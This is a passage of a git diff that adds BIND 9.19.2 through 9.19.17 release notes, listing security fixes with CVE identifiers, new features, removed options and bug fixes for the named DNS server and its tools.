+  :iscman:`named` when catalog zone updates are being applied after a
+  catalog zone has been successfully transferred. :gl:`#3881`
+
+- libuv support for receiving multiple UDP messages in a single
+  ``recvmmsg()`` system call has been tweaked several times between
+  libuv versions 1.35.0 and 1.40.0; the current recommended libuv
+  version is 1.40.0 or higher. New rules are now in effect for running
+  with a different version of libuv than the one used at compilation
+  time. These rules may trigger a fatal error at startup:
+
+  - Building against or running with libuv versions 1.35.0 and 1.36.0 is
+    now a fatal error.
+
+  - Running with libuv version higher than 1.34.2 is now a fatal error
+    when :iscman:`named` is built against libuv version 1.34.2 or lower.
+
+  - Running with libuv version higher than 1.39.0 is now a fatal error
+    when :iscman:`named` is built against libuv version 1.37.0, 1.38.0,
+    1.38.1, or 1.39.0.
+
+  This prevents the use of libuv versions that may trigger an assertion
+  failure when receiving multiple UDP messages in a single system call.
+  :gl:`#3840`
+
+Bug Fixes
+~~~~~~~~~
+
+- :iscman:`named` could crash with an assertion failure when adding a
+  new zone into the configuration file for a name which was already
+  configured as a member zone for a catalog zone. This has been fixed.
+  :gl:`#3911`
+
+- When :iscman:`named` starts up, it sends a query for the DNSSEC key
+  for each configured trust anchor to determine whether the key has
+  changed. In some unusual cases, the query might depend on a zone for
+  which the server is itself authoritative, and would have failed if it
+  were sent before the zone was fully loaded. This has now been fixed by
+  delaying the key queries until all zones have finished loading.
+  :gl:`#3673`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.12.rst b/doc/notes/notes-9.19.12.rst
new file mode 100644
index 0000000000..0d08a2279a
--- /dev/null
+++ b/doc/notes/notes-9.19.12.rst
@@ -0,0 +1,93 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.12
+----------------------
+
+Security Fixes
+~~~~~~~~~~~~~~
+
+- An error in DNS message processing introduced in development version
+  9.19.11 could cause BIND and its utilities to crash if the maximum
+  permissible number of DNS labels were present. This has been fixed.
+  :gl:`#3998`
+
+Known Issues
+~~~~~~~~~~~~
+
+- Loading a large number of zones is significantly slower in BIND
+  9.19.12 than in the previous development releases due to a new data
+  structure being used for storing information about the zones to serve.
+  This slowdown is considered to be a bug and will be addressed in a
+  future BIND 9.19.x development release. :gl:`#4006`
+
+- A flaw in reworked code responsible for accepting TCP connections may
+  cause a visible performance drop for TCP queries on some platforms,
+  notably FreeBSD.  This issue will be fixed in a future BIND 9.19.x
+  development release. :gl:`#3985`
+
+- See :ref:`above <relnotes_known_issues>` for a list of all known issues
+  affecting this BIND 9 branch.
+
+New Features
+~~~~~~~~~~~~
+
+- BIND now depends on `liburcu`_, Userspace RCU, for lock-free data
+  structures. :gl:`#3934`
+
+- The new command-line :option:`delv +ns` option activates name server
+  mode, to more accurately reproduce the behavior of :iscman:`named`
+  when resolving a query. In this mode, :iscman:`delv` uses an internal
+  recursive resolver rather than an external server. All messages sent
+  and received during the resolution and validation process are logged.
+  This can be used in place of :option:`dig +trace`. :gl:`#3842`
+
+- A new configuration option, :any:`checkds`, has been introduced. When
+  set to ``yes``, it detects :any:`parental-agents` automatically by
+  resolving the parent NS records. These name servers are queried to
+  check the DS RRset during a KSK rollover initiated by
+  :any:`dnssec-policy`. :gl:`#3901`
+
+.. _`liburcu`: https://liburcu.org/
+
+Removed Features
+~~~~~~~~~~~~~~~~
+
+- The TKEY Mode 2 (Diffie-Hellman Exchanged Keying Mode) has been
+  removed and using TKEY Mode 2 is now a fatal error. Users are advised
+  to switch to TKEY Mode 3 (GSS-API). :gl:`#3905`
+
+- Zone type ``delegation-only``, and the ``delegation-only`` and
+  ``root-delegation-only`` statements, have been removed. Using them is
+  a configuration error.
+
+  These statements were created to address the SiteFinder controversy,
+  in which certain top-level domains redirected misspelled queries to
+  other sites instead of returning NXDOMAIN responses. Since top-level
+  domains are now DNSSEC-signed, and DNSSEC validation is active by
+  default, the statements are no longer needed. :gl:`#3953`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- The log message ``resolver priming query complete`` has been moved
+  from the INFO log level to the DEBUG(1) log level, to prevent
+  :iscman:`delv` from emitting that message when setting up its internal
+  resolver. :gl:`#3842`
+
+Bug Fixes
+~~~~~~~~~
+
+- Several bugs which could cause :iscman:`named` to crash during catalog
+  zone processing have been fixed. :gl:`#3955` :gl:`#3968` :gl:`#3997`
+
+- Performance of DNSSEC validation in zones with many DNSKEY records has
+  been improved. :gl:`#3981`
diff --git a/doc/notes/notes-9.19.13.rst b/doc/notes/notes-9.19.13.rst
new file mode 100644
index 0000000000..6438bc4e9a
--- /dev/null
+++ b/doc/notes/notes-9.19.13.rst
@@ -0,0 +1,66 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.13
+----------------------
+
+New Features
+~~~~~~~~~~~~
+
+- :iscman:`dnstap-read` can now print long timestamps with millisecond
+  precision. :gl:`#2360`
+
+Bug Fixes
+~~~~~~~~~
+
+- When the same :any:`notify-source` address and port number was
+  configured for multiple destinations and zones, an unresponsive server
+  could tie up the relevant network socket until it timed out; in the
+  meantime, NOTIFY messages for other servers silently failed.
+  :iscman:`named` will now retry sending such NOTIFY messages over TCP.
+  Furthermore, NOTIFY failures are now logged at the INFO level.
+  :gl:`#4001` :gl:`#4002`
+
+- The :any:`max-transfer-time-in` and :any:`max-transfer-idle-in`
+  statements have not had any effect since the BIND 9 networking stack
+  was refactored in version 9.16. The missing functionality has been
+  re-implemented and incoming zone transfers now time out properly when
+  not progressing. :gl:`#4004`
+
+- The read timeout in :iscman:`rndc` is now 60 seconds, matching the
+  behavior in BIND 9.16 and earlier. It had previously been lowered to
+  30 seconds by mistake. :gl:`#4046`
+
+- When the ``ISC_R_INVALIDPROTO`` (``ENOPROTOOPT``, ``EPROTONOSUPPORT``)
+  error code is returned by libuv, it is now treated as a network
+  failure: the server for which that error code is returned gets marked
+  as broken and is not contacted again during a given resolution
+  process. :gl:`#4005`
+
+- When removing delegations from an opt-out range, empty-non-terminal
+  NSEC3 records generated by those delegations were not cleaned up. This
+  has been fixed. :gl:`#4027`
+
+- A flaw in reworked code responsible for accepting TCP connections has
+  been addressed. This issue could cause a visible performance drop for
+  TCP queries on some platforms, notably FreeBSD, and has now been
+  fixed. :gl:`#3985`
+
+- Log file rotation code did not clean up older versions of log files
+  when the logging :any:`channel` had an absolute path configured as a
+  ``file`` destination. This has been fixed. :gl:`#3991`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.14.rst b/doc/notes/notes-9.19.14.rst
new file mode 100644
index 0000000000..3a270e5d79
--- /dev/null
+++ b/doc/notes/notes-9.19.14.rst
@@ -0,0 +1,89 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.14
+----------------------
+
+Security Fixes
+~~~~~~~~~~~~~~
+
+- The overmem cleaning process has been improved, to prevent the cache from
+  significantly exceeding the configured :any:`max-cache-size` limit.
+  (CVE-2023-2828)
+
+  ISC would like to thank Shoham Danino from Reichman University, Anat
+  Bremler-Barr from Tel-Aviv University, Yehuda Afek from Tel-Aviv University,
+  and Yuval Shavitt from Tel-Aviv University for bringing this vulnerability to
+  our attention.  :gl:`#4055`
+
+New Features
+~~~~~~~~~~~~
+
+- The read timeout in :iscman:`rndc` can now be specified on the command
+  line using the :option:`-t <rndc -t>` option, allowing commands that
+  take a long time to complete sufficient time to do so. :gl:`#4046`
+
+- Support for multi-signer model 2 (:rfc:`8901`) when using
+  :any:`inline-signing` was added. :gl:`#2710`
+
+- A new option to :any:`dnssec-policy` has been added, :any:`cdnskey`,
+  that allows users to enable or disable the publication of CDNSKEY
+  records. :gl:`#4050`
+
+- The system test suite can now be executed with pytest (along with
+  pytest-xdist for parallel execution). :gl:`#3978`
+
+Removed Features
+~~~~~~~~~~~~~~~~
+
+- Special-case code that was originally added to allow GSS-TSIG to work
+  around bugs in the Windows 2000 version of Active Directory has now
+  been removed, since Windows 2000 is long past end-of-life. The
+  :option:`-o <nsupdate -o>` option and the ``oldgsstsig`` command to
+  :iscman:`nsupdate` have been deprecated, and are now treated as
+  synonyms for :option:`-g <nsupdate -g>` and ``gsstsig`` respectively.
+  :gl:`#4012`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- If a response from an authoritative server has its RCODE set to
+  FORMERR and contains an echoed EDNS COOKIE option that was present in
+  the query, :iscman:`named` now retries sending the query to the
+  same server without an EDNS COOKIE option. :gl:`#4049`
+
+- The responsiveness of :iscman:`named` was improved, when serving as an
+  authoritative DNS server for a delegation-heavy zone(s) shortly after
+  loading such zone(s). :gl:`#4045`
+
+Bug Fixes
+~~~~~~~~~
+
+- When the :any:`stale-answer-enable` option was enabled and the
+  :any:`stale-answer-client-timeout` option was enabled and larger than
+  0, :iscman:`named` previously allocated two slots from the
+  :any:`clients-per-query` limit for each client and failed to gradually
+  auto-tune its value, as configured. This has been fixed. :gl:`#4074`
+
+- Previously, it was possible for a delegation from cache to be returned
+  to the client after the :any:`stale-answer-client-timeout` duration.
+  This has been fixed. :gl:`#3950`
+
+- BIND could allocate too big buffers when sending data via
+  stream-based DNS transports, leading to increased memory usage.
+  This has been fixed. :gl:`#4038`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.15.rst b/doc/notes/notes-9.19.15.rst
new file mode 100644
index 0000000000..2495673405
--- /dev/null
+++ b/doc/notes/notes-9.19.15.rst
@@ -0,0 +1,38 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.15
+----------------------
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- The ``relaxed`` QNAME minimization mode now uses NS records. This
+  reduces the number of queries :iscman:`named` makes when resolving, as
+  it allows the non-existence of NS RRsets at non-referral nodes to be
+  cached in addition to the normally cached referrals. :gl:`#3325`
+
+Bug Fixes
+~~~~~~~~~
+
+- The ability to read HMAC-MD5 key files, which was accidentally lost in
+  BIND 9.19.6 and BIND 9.18.8, has been restored. :gl:`#3668`
+  :gl:`#4154`
+
+- Several minor stability issues with the catalog zone implementation
+  have been fixed. :gl:`#4132` :gl:`#4136` :gl:`#4171`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.16.rst b/doc/notes/notes-9.19.16.rst
new file mode 100644
index 0000000000..0b0b81bfa3
--- /dev/null
+++ b/doc/notes/notes-9.19.16.rst
@@ -0,0 +1,65 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.16
+----------------------
+
+Removed Features
+~~~~~~~~~~~~~~~~
+
+- The ``auto-dnssec`` configuration statement has been removed. Please
+  use :any:`dnssec-policy` or manual signing instead. The following
+  statements have become obsolete: :any:`dnskey-sig-validity`,
+  :any:`dnssec-dnskey-kskonly`, :any:`dnssec-update-mode`,
+  :any:`sig-validity-interval`, and :any:`update-check-ksk`. :gl:`#3672`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- BIND now returns BADCOOKIE for out-of-date or otherwise bad but
+  well-formed DNS server cookies. :gl:`#4194`
+
+- When a primary server for a zone responds to an SOA query, but the
+  subsequent TCP connection required to transfer the zone is refused,
+  that server is marked as temporarily unreachable. This now also
+  happens if the TCP connection attempt times out, preventing too many
+  zones from queuing up on an unreachable server and allowing the
+  refresh process to move on to the next configured primary more
+  quickly. :gl:`#4215`
+
+- The :any:`inline-signing` statement can now also be set inside
+  :any:`dnssec-policy`. The built-in policies ``default`` and
+  ``insecure`` enable the use of :any:`inline-signing`. If
+  :any:`inline-signing` is set at the ``zone`` level, it overrides the
+  value set in :any:`dnssec-policy`. :gl:`#3677`
+
+- To improve query-processing latency under load, the uninterrupted time
+  spent on resolving long chains of cached domain names has been
+  reduced. :gl:`#4185`
+
+- The :any:`dialup` and :any:`heartbeat-interval` options have been
+  deprecated and will be removed in a future BIND 9 release. :gl:`#3700`
+
+Bug Fixes
+~~~~~~~~~
+
+- Setting :any:`dnssec-policy` to ``insecure`` prevented zones
+  containing resource records with a TTL value larger than 86400 seconds
+  (1 day) from being loaded. This has been fixed by ignoring the TTL
+  values in the zone and using a value of 604800 seconds (1 week) as the
+  maximum zone TTL in key rollover timing calculations. :gl:`#4032`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.17.rst b/doc/notes/notes-9.19.17.rst
new file mode 100644
index 0000000000..7081fa3e71
--- /dev/null
+++ b/doc/notes/notes-9.19.17.rst
@@ -0,0 +1,99 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.17
+----------------------
+
+Security Fixes
+~~~~~~~~~~~~~~
+
+- Previously, sending a specially crafted message over the control
+  channel could cause the packet-parsing code to run out of available
+  stack memory, causing :iscman:`named` to terminate unexpectedly.
+  This has been fixed. (CVE-2023-3341)
+
+  ISC would like to thank Eric Sesterhenn from X41 D-Sec GmbH for
+  bringing this vulnerability to our attention. :gl:`#4152`
+
+New Features
+~~~~~~~~~~~~
+
+- Support for User Statically Defined Tracing (USDT) probes has been
+  added. These probes enable fine-grained application tracing and
+  introduce no overhead when they are not enabled. :gl:`#4041`
+
+- The client-side support of the EDNS EXPIRE option has been expanded to
+  include IXFR and AXFR query types. This enhancement enables
+  :iscman:`named` to perform AXFR and IXFR queries while incorporating
+  the EDNS EXPIRE option. :gl:`#4170`
+
+Removed Features
+~~~~~~~~~~~~~~~~
+
+- The :any:`dnssec-must-be-secure` option has been deprecated and will
+  be removed in a future release. :gl:`#4263`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- Compiling with jemalloc versions older than 4.0.0 is no longer
+  supported; those versions do not provide the features required by
+  current BIND 9 releases. :gl:`#4296`
+
+- If the ``server`` command is specified, :iscman:`nsupdate` now honors
+  the :option:`nsupdate -v` option for SOA queries by sending both the
+  UPDATE request and the initial query over TCP. :gl:`#1181`
+
+Bug Fixes
+~~~~~~~~~
+
+- The value of the If-Modified-Since header in the statistics channel
+  was not being correctly validated for its length, potentially allowing
+  an authorized user to trigger a buffer overflow. Ensuring the
+  statistics channel is configured correctly to grant access exclusively
+  to authorized users is essential (see the :any:`statistics-channels`
+  block definition and usage section). :gl:`#4124`
+
+  This issue was reported independently by Eric Sesterhenn of X41 D-Sec
+  GmbH and Cameron Whitehead.
+
+- The Content-Length header in the statistics channel was lacking proper
+  bounds checking. A negative or excessively large value could
+  potentially trigger an integer overflow and result in an assertion
+  failure. :gl:`#4125`
+
+  This issue was reported by Eric Sesterhenn of X41 D-Sec GmbH.
+
+- Several memory leaks caused by not clearing the OpenSSL error stack
+  were fixed. :gl:`#4159`
+
+  This issue was reported by Eric Sesterhenn of X41 D-Sec GmbH.
+
+- The introduction of ``krb5-subdomain-self-rhs`` and
+  ``ms-subdomain-self-rhs`` UPDATE policies accidentally caused
+  :iscman:`named` to return SERVFAIL responses to deletion requests for
+  non-existent PTR and SRV records. This has been fixed. :gl:`#4280`
+
+- The :any:`stale-refresh-time` feature was mistakenly disabled when the
+  server cache was flushed by :option:`rndc flush`. This has been fixed.
+  :gl:`#4278`
+
+- BIND's memory consumption has been improved by implementing dedicated
+  jemalloc memory arenas for sending buffers. This optimization ensures
+  that memory usage is more efficient and better manages the return of
+  memory pages to the operating system. :gl:`#4038`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.2.rst b/doc/notes/notes-9.19.2.rst
new file mode 100644
index 0000000000..b086d6c4d4
--- /dev/null
+++ b/doc/notes/notes-9.19.2.rst
@@ -0,0 +1,44 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.2
+---------------------
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- New :any:`dnssec-policy` configuration checks have been added to detect
+  unusual policies, such as missing KSK and/or ZSK and too-short key
+  lifetimes and re-sign periods. :gl:`#1611`
+
+Bug Fixes
+~~~~~~~~~
+
+- The :any:`fetches-per-server` quota is designed to adjust itself downward
+  automatically when an authoritative server times out too frequently.
+  Due to a coding error, that adjustment was applied incorrectly, so
+  that the quota for a congested server was always set to 1. This has
+  been fixed. :gl:`#3327`
+
+- DNSSEC-signed catalog zones were not being processed correctly. This
+  has been fixed. :gl:`#3380`
+
+- Key files were updated every time the :any:`dnssec-policy` key manager
+  ran, whether the metadata had changed or not. :iscman:`named` now
+  checks whether changes were applied before writing out the key files.
+  :gl:`#3302`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.3.rst b/doc/notes/notes-9.19.3.rst
new file mode 100644
index 0000000000..05b71b6ab4
--- /dev/null
+++ b/doc/notes/notes-9.19.3.rst
@@ -0,0 +1,77 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.3
+---------------------
+
+New Features
+~~~~~~~~~~~~
+
+- A new command, :option:`rndc fetchlimit`, prints a list of name server
+  addresses that are currently rate-limited due to
+  :any:`fetches-per-server` and domain names that are rate-limited due
+  to :any:`fetches-per-zone`. :gl:`#665`
+
+Removed Features
+~~~~~~~~~~~~~~~~
+
+- The ``glue-cache`` *option* has been removed. The glue cache *feature*
+  still works and is now permanently *enabled*. :gl:`#2147`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- To reduce unnecessary memory consumption in the cache, NXDOMAIN
+  records are no longer retained past the normal negative cache TTL,
+  even if :any:`stale-cache-enable` is set to ``yes``. :gl:`#3386`
+
+- The :option:`dnssec-signzone -H` default value has been changed to 0
+  additional NSEC3 iterations. This change aligns the
+  :iscman:`dnssec-signzone` default with the default used by the
+  :any:`dnssec-policy` feature. At the same
+  time, documentation about NSEC3 has been aligned with the `Best
+  Current Practice`_. :gl:`#3395`
+
+.. _Best Current Practice: https://datatracker.ietf.org/doc/html/draft-ietf-dnsop-nsec3-guidance-10
+
+Bug Fixes
+~~~~~~~~~
+
+- An assertion failure caused by a TCP connection closing between a
+  connect (or accept) and a read from a socket has been fixed.
+  :gl:`#3400`
+
+- When grafting non-delegated namespace onto delegated namespace,
+  :any:`synth-from-dnssec` could incorrectly synthesize non-existence of
+  records within the non-delegated namespace using NSEC records from
+  higher zones. :gl:`#3402`
+
+- Previously, :iscman:`named` immediately returned a SERVFAIL response
+  to the client when it received a FORMERR response from an
+  authoritative server during recursive resolution. This has been fixed:
+  :iscman:`named` acting as a resolver now attempts to contact other
+  authoritative servers for a given domain when it receives a FORMERR
+  response from one of them. :gl:`#3152`
+
+- Previously, :option:`rndc reconfig` did not pick up changes to
+  :any:`endpoints` statements in :any:`http` blocks. This has been
+  fixed. :gl:`#3415`
+
+- It was possible for a catalog zone consumer to process a catalog zone
+  member zone when there was a configured pre-existing forward-only
+  forward zone with the same name. This has been fixed. :gl:`#2506`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.4.rst b/doc/notes/notes-9.19.4.rst
new file mode 100644
index 0000000000..472f69029e
--- /dev/null
+++ b/doc/notes/notes-9.19.4.rst
@@ -0,0 +1,66 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.4
+---------------------
+
+Removed Features
+~~~~~~~~~~~~~~~~
+
+- The use of the :any:`max-zone-ttl` option in :namedconf:ref:`options`
+  and :namedconf:ref:`zone` blocks has been deprecated; it should now be
+  configured as part of :any:`dnssec-policy`. A warning is logged if
+  this option is used in :namedconf:ref:`options` or :any:`zone` blocks.
+  In a future release, it will become nonoperational. :gl:`#2918`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- The DNSSEC algorithms RSASHA1 and NSEC3RSASHA1 are now automatically
+  disabled on systems where they are disallowed by the security policy
+  (e.g. Red Hat Enterprise Linux 9). Primary zones using those
+  algorithms need to be migrated to new algorithms prior to running on
+  these systems, as graceful migration to different DNSSEC algorithms is
+  not possible when RSASHA1 is disallowed by the operating system.
+  :gl:`#3469`
+
+- Log messages related to fetch limiting have been improved to provide
+  more complete information. Specifically, the final counts of allowed
+  and spilled fetches are now logged before the counter object is
+  destroyed. :gl:`#3461`
+
+Bug Fixes
+~~~~~~~~~
+
+- When running as a validating resolver forwarding all queries to
+  another resolver, :iscman:`named` could crash with an assertion
+  failure. These crashes occurred when the configured forwarder sent a
+  broken DS response and :iscman:`named` failed its attempts to find a
+  proper one instead. This has been fixed. :gl:`#3439`
+
+- DNS compression is no longer applied to the root name (``.``) if it is
+  repeatedly used in the same RRset. :gl:`#3423`
+
+- Non-dynamic zones that inherit :any:`dnssec-policy` from the
+  :namedconf:ref:`view` or :namedconf:ref:`options` blocks were not
+  marked as inline-signed and therefore never scheduled to be re-signed.
+  This has been fixed. :gl:`#3438`
+
+- :option:`rndc dumpdb -expired <rndc dumpdb>` was fixed to include
+  expired RRsets, even if :any:`stale-cache-enable` is set to ``no`` and
+  the cache-cleaning time window has passed. :gl:`#3462`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.5.rst b/doc/notes/notes-9.19.5.rst
new file mode 100644
index 0000000000..86c5a89be0
--- /dev/null
+++ b/doc/notes/notes-9.19.5.rst
@@ -0,0 +1,93 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.5
+---------------------
+
+Security Fixes
+~~~~~~~~~~~~~~
+
+- Previously, there was no limit to the number of database lookups
+  performed while processing large delegations, which could be abused to
+  severely impact the performance of :iscman:`named` running as a
+  recursive resolver. This has been fixed. (CVE-2022-2795)
+
+  ISC would like to thank Yehuda Afek from Tel-Aviv University and Anat
+  Bremler-Barr & Shani Stajnrod from Reichman University for bringing
+  this vulnerability to our attention. :gl:`#3394`
+
+- When an HTTP connection was reused to request statistics from the
+  stats channel, the content length of successive responses could grow
+  in size past the end of the allocated buffer. This has been fixed.
+  (CVE-2022-2881) :gl:`#3493`
+
+- Memory leaks in code handling Diffie-Hellman (DH) keys were fixed that
+  could be externally triggered, when using TKEY records in DH mode with
+  OpenSSL 3.0.0 and later versions. (CVE-2022-2906) :gl:`#3491`
+
+- :iscman:`named` running as a resolver with the
+  :any:`stale-answer-client-timeout` option set to ``0`` could crash
+  with an assertion failure, when there was a stale CNAME in the cache
+  for the incoming query. This has been fixed. (CVE-2022-3080)
+  :gl:`#3517`
+
+- Memory leaks were fixed that could be externally triggered in the
+  DNSSEC verification code for the EdDSA algorithm. (CVE-2022-38178)
+  :gl:`#3487`
+
+New Features
+~~~~~~~~~~~~
+
+- A new Response Policy Zone (RPZ) :ref:`option<rpz>`, ``ede``, was
+  added. It enables an :rfc:`8914` Extended DNS Error (EDE) code of
+  choice to be set for responses which have been modified by a given
+  RPZ. :gl:`#3410`
+
+- Worker threads' event loops are now managed by a new "loop manager"
+  API, significantly changing the architecture of the task, timer, and
+  networking subsystems for improved performance and code flow.
+  :gl:`#3508`
+
+Feature Changes
+~~~~~~~~~~~~~~~
+
+- Response Rate Limiting (RRL) code now treats all QNAMEs that are
+  subject to wildcard processing within a given zone as the same name,
+  to prevent circumventing the limits enforced by RRL. :gl:`#3459`
+
+- Zones using :any:`dnssec-policy` now require dynamic DNS or
+  :any:`inline-signing` to be configured explicitly. :gl:`#3381`
+
+- When reconfiguring :any:`dnssec-policy` from using NSEC with an
+  NSEC-only DNSKEY algorithm (e.g. RSASHA1) to a policy that uses NSEC3,
+  BIND 9 no longer fails to sign the zone; instead, it keeps using NSEC
+  until the offending DNSKEY records have been removed from the zone,
+  then switches to using NSEC3. :gl:`#3486`
+
+- A backward-compatible approach was implemented for encoding
+  internationalized domain names (IDN) in :iscman:`dig` and converting
+  the domain to IDNA2008 form; if that fails, BIND tries an IDNA2003
+  conversion. :gl:`#3485`
+
+Bug Fixes
+~~~~~~~~~
+
+- A serve-stale bug was fixed, where BIND would try to return stale data
+  from cache for lookups that received duplicate queries or queries that
+  would be dropped. This bug resulted in premature SERVFAIL responses,
+  and has now been resolved. :gl:`#2982`
+
+Known Issues
+~~~~~~~~~~~~
+
+- There are no new known issues with this release. See :ref:`above
+  <relnotes_known_issues>` for a list of all known issues affecting this
+  BIND 9 branch.
diff --git a/doc/notes/notes-9.19.6.rst b/doc/notes/notes-9.19.6.rst
new file mode 100644
index 0000000000..8c00985bb5
--- /dev/null
+++ b/doc/notes/notes-9.19.6.rst
@@ -0,0 +1,101 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+Notes for BIND 9.19.6
+---------------------
+
+Known Issues
+~~~~~~~~~~~~
+
+- Upgrading from BIND 9.16.32, 9.18.6, 9.19.4, or any older version may
+  require a manual configuration change. The following configurations
+  are affected:
+
+  - :any:`type primary` zones configured with :any:`dnssec-policy` but
+    without either :any:`allow-update` or :any:`update-policy`,
+  - :any:`type secondary` zones configured with :any:`dnssec-policy`.
+
+  In these cases please add :namedconf:ref:`inline-signing yes;
+  <inline-signing>` to the individual zone configuration(s). Without
+  applying this change, :iscman:`named` will fail to start. For more
+  details, see
+  https://kb.isc.org/docs/dnssec-policy-requires-dynamic-dns-or-inline-signing
+
+- See :ref:`above <relnotes_known_issues>` for a list of all known
+  issues affecting this BIND 9 branch.
+
+New Features
+~~~~~~~~~~~~
+
